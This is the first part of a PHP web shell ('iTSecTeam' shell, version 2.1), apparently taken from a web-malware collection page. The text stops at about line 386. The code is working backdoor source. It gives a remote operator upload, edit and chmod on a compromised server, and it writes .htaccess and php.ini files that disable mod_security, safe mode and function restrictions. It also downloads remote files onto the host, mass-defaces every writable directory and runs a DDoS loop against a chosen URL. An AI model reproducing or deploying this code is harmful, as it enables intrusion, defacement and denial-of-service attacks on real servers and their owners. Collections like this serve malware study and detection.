PageRenderTime 28ms CodeModel.GetById 9ms RepoModel.GetById 0ms app.codeStats 0ms

/Backdoors/PHP/itsecteam_shell.php

http://web-malware-collection.googlecode.com/
PHP | 1276 lines | 1209 code | 61 blank | 6 comment | 218 complexity | efc5b4f8d71e924e69cb72a005fd2ce2 MD5 | raw file

Large files files are truncated, but you can click here to view the full file

    

  1. <?php

    2. 

  2. session_start();

    3. 

  3. set_time_limit(0);

    4. 

  4. error_reporting(0);

    5. 

  5. if (get_magic_quotes_gpc()) {

    6. 

  6. function stripslashes_deep($value)    {

    7. 

  7.         $value = is_array($value) ?

    8. 

  8.                     array_map('stripslashes_deep', $value) :

    9. 

  9.                     stripslashes($value);

    10. 

  10. 

    11. 

  11.         return $value;

    12. 

  12.     }

    13. 

  13. $_POST = array_map('stripslashes_deep', $_POST);

    14. 

  14. $_GET = array_map('stripslashes_deep', $_GET);

    15. 

  15. $_COOKIE = array_map('stripslashes_deep', $_COOKIE);

    16. 

  16. $_REQUEST = array_map('stripslashes_deep', $_REQUEST);

    17. 

  17. }

    18. 

  18. if($_GET['do']=="remove"){

    19. 

  19. unlink(getcwd().$_SERVER["SCRIPT_NAME"]);

    20. 

  20. }

    21. 

  21. $basep=$_SERVER['DOCUMENT_ROOT'];

    22. 

  22. if(strtolower(substr(PHP_OS, 0, 3)) == "win"){

    23. 

  23. $slash="\\";

    24. 

  24. $basep=str_replace("/","\\",$basep);

    25. 

  25. }else{

    26. 

  26. $slash="/";

    27. 

  27. $basep=str_replace("\\","/",$basep);

    28. 

  28. }

    29. 

  29. if($_GET['do']=="remove"){

    30. 

  30. unlink(getcwd().$slash.$_SERVER["SCRIPT_NAME"]);

    31. 

  31. }

    32. 

  32. if ($_REQUEST['address']){

    33. 

  33. if(is_readable($_REQUEST['address'])){

    34. 

  34. chdir($_REQUEST['address']);}else{

    35. 

  35. alert("Permission Denied !");}}

    36. 

  36. $me=$_SERVER['PHP_SELF'];

    37. 

  37. $formp="<form method=post action='".$me."'>";

    38. 

  38. $formg="<form method=get action='".$me."'>";

    39. 

  39. $nowaddress='<input type=hidden name=address value="'.getcwd().'">';

    40. 

  40. if (isset($_FILES["filee"]) and ! $_FILES["filee"]["error"]) {

    41. 

  41.    if(move_uploaded_file($_FILES["filee"]["tmp_name"], $_FILES["filee"]["name"])){

    42. 

  42.    alert("File Upload Successful");

    43. 

  43.    }else{

    44. 

  44. alert("Permission Denied !");

    45. 

  45.    

    46. 

  46.    }

    47. 

  47.    }

    48. 

  48. if(ini_get('disable_functions')){

    49. 

  49. $disablef=ini_get('disable_functions');

    50. 

  50. }else{

    51. 

  51. $disablef="All Functions Enable";

    52. 

  52. }

    53. 

  53. if(ini_get('safe_mode')){

    54. 

  54. $safe_modes="On";

    55. 

  55. }else{

    56. 

  56. $safe_modes="Off";

    57. 

  57. }

    58. 

  58. if ($_REQUEST['chmode'] && $_REQUEST['chmodenum']){

    59. 

  59. if (chmod($_POST['chmode'],"0".$_POST['chmodenum'])){alert("Chmod Ok!");}else{alert("Permission Denied !");}

    60. 

  60. }

    61. 

  61. $picdir='iVBORw0KGgoAAAANSUhEUgAAAA0AAAANCAYAAABy6+R8AAAB30lEQVR42mNggAAuIBZCwjxAzMiAC4jIykrZOLplhcWlzAuLS50PwkFRiTPl1TQDBSQk7OFYRMSejY1NA6iFiUFEUinKwS/mcURW1f9wIA7NrPwflFr63zow7bOJd9IbQ8/EN7qucW+0XOLeyJv5XmETU9RjUDV03BlX2P43oaz/f2hO+3+v5Pr/DlEV/81Div/r+eT+V3PL+C/tlvefP6Lzv6BRyD82ce1IBl07/zNJFf3/Eyon/Q8v7vuf0LPqf3Dt7P9mYWX/1YMr/oslTfrPnzjpv4h92n8Bo7D/rJJ6eQyS5n63PLJa/wcU9f33K+z9H9O7+n/TiRf/7Xp3/Ods3v9fJGnif3H37P/Cjqn/+azj/7PIGrQxsBn7P+V2yfzP45bzn9c9979cZN3/1LUX/ktMvfiftfnQf8Gw+v8C3vn/+Txy/3O7Zv1nVjCZx8DqkPCWw7/0PwgLRtb/d+vf/F+3fPZ/jtDa/0y1O/4zVW76zx5c/R+mhlnFfBsDm3fOZ/bIhv+cMU3/pXIm/xdK7f4P4oMwW0zLf7bEnv/s0c1wMSY953MMQnG1P5UKJ/8nFgvaBz9jYPTJfM2c2PqfWMxoGfCFgUFGK4pBw3wh0VhCuRSUkligaY9YzAIA/X/3S1/5EEMAAAAASUVORK5CYII=';

    62. 

  62. $picfile='iVBORw0KGgoAAAANSUhEUgAAAA0AAAANCAYAAABy6+R8AAABaElEQVR42mMIXfWfef7JT7Yrz34o33ABhj9BaKDYrP3PE6IqpgkyoINNFz9Gnnzw/f/NFz8w8JYrX//P2H6zMrByijCKpl1XPkbee/Xt//fv3zHw/ltf/x+4/vnT7O036wOzkTSuP/cu8sazz/+/fPmCgS8++vx/25XP/xcceP4xr2dLPFA5M1jTytPvIq88/vj/40fc+Oz15//LOxZXAZVzgDUtO/E68tLDD/8/fMCB33/4f/rqs/8lLQur4ZoWH3sdeeH+h//v37/Hjt+9/3/yytP/RU1ImuYefh159u67/2/fvsWK37x58//4pSf/C9A1nb7z9v/r169x4mOXHv/PQ9a0AOi8M3cgJmLDIE0nLj9Bdd6CYy8iz94BKniNBb+B0CdBmpADonP9/cjlBx7/333q8f89p9HwGaA4kF665/7/lGqkIHfwKRax9Yh1t3IICLZ1CApBx1ZAbGIbECwlr28IVM4KAPZgwQxbJyVoAAAAAElFTkSuQmCC';

    63. 

  63. $head='<style type="text/css">

    64. 

  64. A:link {text-decoration: none}

    65. 

  65. A:visited {text-decoration: none}

    66. 

  66. A:active {text-decoration: none}

    67. 

  67. A:hover {text-decoration: underline overline; color: 414141;}

    68. 

  68. .focus td{border-top:0px solid #f8f8f8;border-bottom:1px solid #ddd;background:#f2f2f2;padding:0px 0px 0px 0px;}

    69. 

  69. </style><head>

    70. 

  70. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    71. 

  71. <title>iTSecTeam</title>

    72. 

  72. </head><body  topmargin="0" leftmargin="0" rightmargin="0" 

    73. 

  73. bgcolor="#f2f2f2"><div align="center">

    74. 

  74. &nbsp;<table border="1" width="1000" height="14" bordercolor="#CDCDCD" style="border-collapse: collapse; border-style: solid; border-width: 1px">

    75. 

  75. <tr>

    76. 

  76. <td height="30" width="996">

    77. 

  77. <p align="center"><font face="Tahoma" style="font-size: 9pt"><span lang="en-us"><a href="?do=home">Home</a> -- <a href="?do=filemanager&address='.getcwd().'">File Manager</a> -- <a href="?do=cmd&address='.getcwd().'">Command Execute</a> -- <a href="?do=bc&address='.getcwd().'">Back Connect</a> --

    78. 

  78. <a href="?do=bypasscmd&address='.getcwd().'">BypasS Command eXecute(SF-DF)</a> -- <a href="?do=symlink&address='.getcwd().'">Symlink</a> --

    79. 

  79. <a href="?do=bypassdir&address='.getcwd().'">BypasS Directory</a> -- <a href="?do=eval&address='.getcwd().'">

    80. 

  80. Eval Php</a> -- <a href="?do=db&address='.getcwd().'">Data Base</a> -- <a href="?do=convert&address='.getcwd().'">Convert</a> -- <a href="?do=mail&address='.getcwd().'">Mail Boomber</a><a href="?do=info&address='.getcwd().'">

    81. 

  81. <br>Server Information</a> -- <a href="?do=d0slocal&address='.getcwd().'">Dos Local Server</a> -- <a href="?do=dump&address='.getcwd().'">Backup Database</a> -- <a href="?do=mass&address='.getcwd().'">Mass Deface</a> -- <a href="?do=dlfile&address='.getcwd().'">Download Remote File</a> -- <a href="?do=dd0s&address='.getcwd().'">DDoS</a> -- <a href="?do=perm&address='.getcwd().'">Find Writable Directory</a> -- <a href="?do=apache&address='.getcwd().'">Server</a> -- <a href="?do=remove&address='.getcwd().'">Remove Me</a> -- <a href="?do=about&address='.getcwd().'">About</a>

    82. 

  82. </span></font></td></tr></table></div>

    83. 

  83. <div align="center">

    84. 

  84. <table id="table2" style="border-collapse: collapse; border-style: 

    85. 

  85. solid;" width="1000" bgcolor="#eaeaea" border="1" bordercolor="#c6c6c6" 

    86. 

  86. cellpadding="0"><tbody><tr><td><div align="center"><table id="table3" style="border-style:dashed; border-width:1px; margin-top: 1px; margin-bottom: 0px; 

    87. 

  87. border-collapse: collapse" width="950" border="1" bordercolor="#cdcdcd"

    88. 

  88. height="10" bordercolorlight="#CDCDCD" bordercolordark="#CDCDCD"><tbody><tr><font face="Tahoma" style="font-size: 9pt"><div align="center">

    89. 

  89. Operation System : '.php_uname().' | Php Version : '.phpversion().' | Safe Mode : '.$safe_modes.' <td style="border: 1px solid rgb(198, 198, 198);" 

    90. 

  90. width="950" bgcolor="#e7e3de" height="10" valign="top">';

    91. 

  91. $end='</td></tr></tbody></table></div></td></tr><tr><td bgcolor="#c6c6c6"><p style="margin-top: 0pt; margin-bottom: 0pt" align="center"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt">'.base64_decode("Q29kZWQgYnkgQW1pbiBTaG9rb2hpIChQZWp2YWsp").'<br><a href="http://www.itsecteam.com" target="_blank"><font size=1>'.base64_decode("aVRTZWNUZWFtLmNvbQ==").'</a></font></span></td></tr></tbody></table></div></body></html>';

    92. 

  92. $deny=$head."<p align='center'> <b>Oh My God!<br> Permission Denied".$end;

    93. 

  93. function alert($text){

    94. 

  94. echo "<script>alert('".$text."')</script>";

    95. 

  95. }

    96. 

  96. if ($_GET['do']=="edit" && $_GET['filename']!="dir"){

    97. 

  97. if(is_readable($_GET['address'].$_GET['filename'])){

    98. 

  98. $opedit=fopen($_GET['address'].$_GET['filename'],"r");

    99. 

  99. while(!feof($opedit))

    100. 

  100. $data.=fread($opedit,9999);

    101. 

  101. fclose($opedit); 

    102. 

  102. echo $head.$formp.$nowaddress.'<p align="center">File Name : '.$_GET['address'].$_GET['filename'].'<br><textarea rows="19" name="fedit" cols="87">'.htmlentities("$data").'</textarea><br><input value='.$_GET['filename'].' name=namefe><br><input type=submit value="  Save  "></form></p>'.$end;exit;

    103. 

  103. }else{alert("Permission Denied !");}}

    104. 

  104. function sizee($size)

    105. 

  105. {

    106. 

  106.  if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}

    107. 

  107.  elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}

    108. 

  108.  elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}

    109. 

  109.  else {$size = $size . " B";}

    110. 

  110.  return $size;

    111. 

  111. }

    112. 

  112. if($_REQUEST['do']=='about'){

    113. 

  113. echo $head."<p align='center'><b><font color=red>ITSecTeam, IT Security Research & Penetration Testing Team</b></font><br>Version 2.1 <br>Last Update : 2010/10/10<br>Coded By : Amin Shokohi(Pejvak)<br>Special Thanks(M3hr@n.S , Am!rkh@n , R3dm0ve , Provider , H4mid@Tm3l , ahmadbady , Doosib )<br>Home Page : <a href='http://www.itsecteam.com'>http://www.itsecteam.com</a><br>Update Notice: <a href='http://itsecteam.com/en/tools/itsecteam_shell.htm'>ITSecTeam Shell</a><br>Forum : <a href='http://www.forum.itsecteam.com'>http://www.forum.itsecteam.com</a><br>

    114. 

  114. <center>

    115. 

  115. <PRE>

    116. 

  116. 

    117. 

  117.  ______  ______  ____                   ______                               

    118. 

  118. /\__  _\/\__  _\/\  _`\                /\__  _\                              

    119. 

  119. \/_/\ \/\/_/\ \/\ \,\L\_\     __    ___\/_/\ \/    __     __      ___ ___    

    120. 

  120.    \ \ \   \ \ \ \/_\__ \   /'__`\ /'___\ \ \ \  /'__`\ /'__`\  /' __` __`\  

    121. 

  121.     \_\ \__ \ \ \  /\ \L\ \/\  __//\ \__/  \ \ \/\  __//\ \L\.\_/\ \/\ \/\ \ 

    122. 

  122.     /\_____\ \ \_\ \ `\____\ \____\ \____\  \ \_\ \____\ \__/.\_\ \_\ \_\ \_\

    123. 

  123.     \/_____/  \/_/  \/_____/\/____/\/____/   \/_/\/____/\/__/\/_/\/_/\/_/\/_/

    124. 

  124.                                                                              

    125. 

  125.                                                                              

    126. 

  126. 

    127. 

  127.                                                                         

    128. 

  128. 

    129. 

  129. 

    130. 

  130. </PRE>

    131. 

  131. 

    132. 

  132. 

    133. 

  133. ".$end;exit;

    134. 

  134. 

    135. 

  135. }

    136. 

  136. function deleteDirectory($dir) {

    137. 

  137. if (!file_exists($dir)) return true;

    138. 

  138. if (!is_dir($dir) || is_link($dir)) return unlink($dir);

    139. 

  139. foreach (scandir($dir) as $item) {

    140. 

  140. if ($item == '.' || $item == '..') continue;

    141. 

  141. if (!deleteDirectory($dir . "/" . $item)) {

    142. 

  142. chmod($dir . "/" . $item, 0777);

    143. 

  143. if (!deleteDirectory($dir . "/" . $item)) return false;

    144. 

  144. };}return rmdir($dir);}

    145. 

  145. 

    146. 

  146. function download($fileadd,$finame){

    147. 

  147. $dlfilea=$fileadd.$finame;

    148. 

  148. header("Content-Disposition: attachment; filename=" . $finame);   

    149. 

  149. header("Content-Type: application/download");

    150. 

  150. header("Content-Length: " . filesize($dlfilea));

    151. 

  151. flush();

    152. 

  152. $fp = fopen($$dlfilea, "r");

    153. 

  153. while (!feof($fp))

    154. 

  154. {

    155. 

  155.     echo fread($fp, 65536);

    156. 

  156.     flush();

    157. 

  157. } 

    158. 

  158. fclose($fp); 

    159. 

  159. }

    160. 

  160. if($_GET['do']=="rename"){

    161. 

  161. echo $head.$formp.$nowaddress.'<p align="center"><input value='.$_GET['filename'].'><input type=hidden name=addressren value='.$_GET['address'].$_GET['filename'].'> To <input name=nameren><br><input type=submit value="  Save  "></form></p>'.$end;exit;

    162. 

  162. }

    163. 

  163. 

    164. 

  164. if ($_GET['byapache']=='ofms'){

    165. 

  165. $fse=fopen(getcwd().$slash.".htaccess","w");

    166. 

  166. fwrite($fse,'<IfModule mod_security.c>

    167. 

  167.     Sec------Engine Off

    168. 

  168.     Sec------ScanPOST Off

    169. 

  169. </IfModule>');

    170. 

  170. fclose($fse);

    171. 

  171. }elseif ($_GET['byapache']=='bysap'){

    172. 

  172. $fse=fopen(getcwd().$slash.".htaccess","w");

    173. 

  173. fwrite($fse,'Options +FollowSymLinks

    174. 

  174. DirectoryIndex Persian-Gulf-For-Ever.html');

    175. 

  175. fclose($fse);

    176. 

  176. }elseif ($_GET['byapache']=='sfadf'){

    177. 

  177. $fse=fopen(getcwd().$slash."php.ini","w");

    178. 

  178. fwrite($fse,'safe_mode=OFF

    179. 

  179. disable_functions=NONE');

    180. 

  180. fclose($fse);

    181. 

  181. }

    182. 

  182. if($_GET['do']=="apache"){

    183. 

  183. echo $head.$formg.$nowaddress.'<p align="center">

    184. 

  184. <select name=byapache>

    185. 

  185. <option value="ofms">Off Mode Security(.htaccess)</option><option value="bysap">Bypass Symlink(.htaccess)</option>

    186. 

  186. <option value="sfadf">Disable Safe Mode & Disable Function(Php.ini)</option>

    187. 

  187. </select><br><input type=submit value=eXecute></form></p>'.$end;exit;

    188. 

  188. }

    189. 

  189. if($_GET['do']=="dd0s"){

    190. 

  190. echo $head.$formg.$nowaddress.'<p align="center">Address : <input name=urldd0 size=50> Time : <input name=timedd0 size=6 value=40000><br><input type=submit value="  DDoS  "></form></p>'.$end;exit;

    191. 

  191. }

    192. 

  192. 

    193. 

  193. if($_GET['urldd0'] && $_GET['timedd0']){

    194. 

  194. for ($id=0;$$id<$_GET['timedd0'];$id++){

    195. 

  195. $fp=null;

    196. 

  196. $contents=null;

    197. 

  197. $fp=fopen($_GET['urldd0'],"rb");

    198. 

  198. while (!feof($fp)) {

    199. 

  199.   $contents .= fread($fp, 8192);

    200. 

  200. }

    201. 

  201. fclose($fp);

    202. 

  202. }}

    203. 

  203. if($_GET['do']=="dlfile"){

    204. 

  204. echo $head.$formp.$nowaddress.'<p align="center">Download Remote File!<br>Address : <input name=adlr size=70><br>Save To : <input name=adsr value='.getcwd().$slash.' size=70><br><input type=submit value="  Download  "></form></p>'.$end;exit;

    205. 

  205. }

    206. 

  206. function dirpe($addres){

    207. 

  207. global $slash;

    208. 

  208. $idd=0;

    209. 

  209. if ($dirhen = @opendir($addres)) {

    210. 

  210. while ($file = readdir($dirhen)) {

    211. 

  211. $permdir=str_replace('//','/',$addres.$slash.$file);

    212. 

  212. if($file!='.' && $file!='..' && is_dir($permdir)){

    213. 

  213. if (is_writable($permdir)) {

    214. 

  214. $dirdata[$idd]['filename']=$permdir; 

    215. 

  215. $idd++;

    216. 

  216. }

    217. 

  217. dirpe($permdir);

    218. 

  218. 			}

    219. 

  219. 		}

    220. 

  220. 		closedir($dirhen);

    221. 

  221. 	} else {

    222. 

  222. 		return ("notperm");

    223. 

  223. 	}

    224. 

  224. 	if ($dirdata){

    225. 

  225. 	return $dirdata;

    226. 

  226. 	}else{

    227. 

  227. 		return "notfound";

    228. 

  228. 

    229. 

  229. 	}

    230. 

  230. }

    231. 

  231. function dirpmass($addres,$massname,$masssource){

    232. 

  232. global $slash;

    233. 

  233. $idd=0;

    234. 

  234. if ($dirhen = @opendir($addres)) {

    235. 

  235. while ($file = readdir($dirhen)) {

    236. 

  236. $permdir=str_replace('//','/',$addres.$slash.$file);

    237. 

  237. if($file!='.' && $file!='..' && is_dir($permdir)){

    238. 

  238. if (is_writable($permdir)) {

    239. 

  239. if ($fm=fopen($permdir.$slash.$massname,"w")){

    240. 

  240. fwrite($fm,$masssource);

    241. 

  241. fclose($fm);

    242. 

  242. $dirdata[$idd]['filename']=$permdir; 

    243. 

  243. }

    244. 

  244. 

    245. 

  245. $idd++;

    246. 

  246. }

    247. 

  247. dirpmass($permdir);

    248. 

  248. 			}

    249. 

  249. 		}

    250. 

  250. 		closedir($dirhen);

    251. 

  251. 	} else {

    252. 

  252. 		return ("notperm");

    253. 

  253. 	}

    254. 

  254. 	if ($dirdata){

    255. 

  255. 	return $dirdata;

    256. 

  256. 	}else{

    257. 

  257. 		return "notfound";

    258. 

  258. 

    259. 

  259. 	}

    260. 

  260. }

    261. 

  261. if($_GET['do']=="perm"){

    262. 

  262. echo $head.$formp.'<p align="center">Find All Folder Writeable<br> <input name=affw value="'.getcwd().$slash.'" size=50><br><input type=submit value="  Search  "></form></p>'.$end;exit;

    263. 

  263. }

    264. 

  264. if ($_POST['affw']){

    265. 

  265. $arrfilelist=dirpe($_POST['affw']);

    266. 

  266. if ($arrfilelist=='notfound'){

    267. 

  267. alert("Not Found !");

    268. 

  268. }elseif($arrfilelist=='notperm'){

    269. 

  269. alert("Permission Denied !");

    270. 

  270. }else{

    271. 

  271. foreach ($arrfilelist as $tmpdir){

    272. 

  272. 		if ($coi %2){

    273. 

  273. $colort='"#e7e3de"';

    274. 

  274. }else{

    275. 

  275. $colort='"#e4e1de"';}

    276. 

  276. $coi++;

    277. 

  277. $permdir=$permdir.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="20" dir="ltr">

    278. 

  278. <tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><a href="?address='.$tmpdir['filename'].'"><b>'.$tmpdir['filename'].'</b></span></td>

    279. 

  279. <td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td>

    280. 

  280. <td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td></tr></table>';

    281. 

  281. }

    282. 

  282. echo $head.'

    283. 

  283. <font face="Tahoma" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr">

    284. 

  284. <tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#4a7af4>Now Directory : '.getcwd()."<br>".printdrive().'<br><a href="?do=back&address='.$backaddresss.'"><font color=#000000>Back</span></td>

    285. 

  285. </tr></table>'.$permdir.'</table>

    286. 

  286. <table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr>

    287. 

  287. <td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">

    288. 

  288. <font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Change Directory</font></td>

    289. 

  289. <td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=address value='.getcwd().'><input type=submit value="Go"></form></td></tr><tr>

    290. 

  290. <td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">

    291. 

  291. <font face="Tahoma" style="font-size: 10pt; font-weight:700">Upload ---&gt; &nbsp;</td>

    292. 

  292. <td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">

    293. 

  293. <form action="'.$me.'" method=post enctype=multipart/form-data>'.$nowaddress.'

    294. 

  294. <font face="Tahoma" style="font-size: 10pt"><input size=40 type=file name=filee > 

    295. 

  295. <input type=submit value=Upload /><br>'.$ifupload.'</form></td></tr><tr>

    296. 

  296. <td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">

    297. 

  297. <font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Chmod ----&gt;</b>&nbsp;&nbsp;File : </td>

    298. 

  298. <td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">

    299. 

  299. <font face="Tahoma" style="font-size: 10pt"><form method=post action=/now2.php><input size=55 name=chmode>&nbsp;&nbsp;Permission : <input name=chmodnum value=777 size=3> <input type=submit value=" Ok "></form></td></tr><tr>

    300. 

  300. <td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">

    301. 

  301. <font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Create Dir ----&gt;</b> Dirctory Name </td>

    302. 

  302. <td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">

    303. 

  303. <font face="Tahoma" style="font-size: 10pt">

    304. 

  304. <input name=cdirname size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr>

    305. 

  305. <td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">

    306. 

  306. <font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Create File ----&gt;</b> Name File </td>

    307. 

  307. <td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">

    308. 

  308. <font face="Tahoma" style="font-size: 10pt"><input name=cfilename size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr>

    309. 

  309. <td width="200" align="right" valign="top">

    310. 

  310. <font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Copy ----&gt;</b></b>&nbsp;&nbsp;File : </td>

    311. 

  311. <td width="750"><font face="Tahoma" style="font-size: 10pt">

    312. 

  312. <input size=40 name=copyname> To Directory <input size=40 name=cpyto> <input type=submit value =Copy></form></td>'.$end;exit;

    313. 

  313. }}

    314. 

  314. if($_GET['do']=="mass"){

    315. 

  315. echo $head.$formp.'<p align="center">[Mass Deface]<br><input name=mffw value="'.getcwd().$slash.'" size=50><input name=massname value="def.htm" size=10><br><textarea name=masssource cols=60 rows=18>Source</textarea><br><input type=submit value="  Mass  "></form></p>'.$end;exit;

    316. 

  316. }

    317. 

  317. if ($_POST['mffw']){

    318. 

  318. $arrfilelist=dirpmass($_POST['mffw'],$_POST['massname'],$_POST['masssource']);

    319. 

  319. if ($arrfilelist=='notfound'){

    320. 

  320. alert("Not Found !");

    321. 

  321. }elseif($arrfilelist=='notperm'){

    322. 

  322. alert("Permission Denied !");

    323. 

  323. }else{

    324. 

  324. foreach ($arrfilelist as $tmpdir){

    325. 

  325. 		if ($coi %2){

    326. 

  326. $colort='"#e7e3de"';

    327. 

  327. }else{

    328. 

  328. $colort='"#e4e1de"';}

    329. 

  329. $coi++;

    330. 

  330. $permdir=$permdir.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="20" dir="ltr">

    331. 

  331. <tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><a href="?address='.$tmpdir['filename'].'"><b>'.$tmpdir['filename'].'</b></span></td>

    332. 

  332. <td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td>

    333. 

  333. <td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td></tr></table>';

    334. 

  334. }

    335. 

  335. echo $head.'

    336. 

  336. <font face="Tahoma" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr">

    337. 

  337. <tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#4a7af4>Now Directory : '.getcwd()."<br>".printdrive().'<br><a href="?do=back&address='.$backaddresss.'"><font color=#000000>Back</span></td>

    338. 

  338. </tr></table>'.$permdir.'</table>

    339. 

  339. <table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr>

    340. 

  340. <td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">

    341. 

  341. <font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Change Directory</font></td>

    342. 

  342. <td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=address value='.getcwd().'><input type=submit value="Go"></form></td></tr><tr>

    343. 

  343. <td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">

    344. 

  344. <font face="Tahoma" style="font-size: 10pt; font-weight:700">Upload ---&gt; &nbsp;</td>

    345. 

  345. <td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">

    346. 

  346. <form action="'.$me.'" method=post enctype=multipart/form-data>'.$nowaddress.'

    347. 

  347. <font face="Tahoma" style="font-size: 10pt"><input size=40 type=file name=filee > 

    348. 

  348. <input type=submit value=Upload /><br>'.$ifupload.'</form></td></tr><tr>

    349. 

  349. <td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">

    350. 

  350. <font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Chmod ----&gt;</b>&nbsp;&nbsp;File : </td>

    351. 

  351. <td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">

    352. 

  352. <font face="Tahoma" style="font-size: 10pt"><form method=post action=/now2.php><input size=55 name=chmode>&nbsp;&nbsp;Permission : <input name=chmodnum value=777 size=3> <input type=submit value=" Ok "></form></td></tr><tr>

    353. 

  353. <td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">

    354. 

  354. <font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Create Dir ----&gt;</b> Dirctory Name </td>

    355. 

  355. <td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">

    356. 

  356. <font face="Tahoma" style="font-size: 10pt">

    357. 

  357. <input name=cdirname size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr>

    358. 

  358. <td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">

    359. 

  359. <font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Create File ----&gt;</b> Name File </td>

    360. 

  360. <td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">

    361. 

  361. <font face="Tahoma" style="font-size: 10pt"><input name=cfilename size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr>

    362. 

  362. <td width="200" align="right" valign="top">

    363. 

  363. <font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Copy ----&gt;</b></b>&nbsp;&nbsp;File : </td>

    364. 

  364. <td width="750"><font face="Tahoma" style="font-size: 10pt">

    365. 

  365. <input size=40 name=copyname> To Directory <input size=40 name=cpyto> <input type=submit value =Copy></form></td>'.$end;exit;

    366. 

  366. }}

    367. 

  367. if($_POST['adlr'] && $_POST['adsr']){

    368. 

  368. $url = $_POST['adlr'];

    369. 

  369. $newfname = $_POST['adsr'] . basename($url);

    370. 

  370. $file = fopen ($url, "rb");

    371. 

  371. if ($file) {

    372. 

  372.   $newf = fopen ($newfname, "wb");

    373. 

  373.   if ($newf)

    374. 

  374.   while(!feof($file)) {

    375. 

  375.     fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );

    376. 

  376.   }

    377. 

  377.   alert("File Downloaded Success");

    378. 

  378. }else{alert("Can Not Open File");}

    379. 

  379. if ($file) {

    380. 

  380.   fclose($file);

    381. 

  381. }

    382. 

  382. if ($newf) {

    383. 

  383.   fclose($newf);

    384. 

  384. }

    385. 

  385. }

    386. 

  386. if($_GET['do']=="down" and $_GET['type']=='file'){

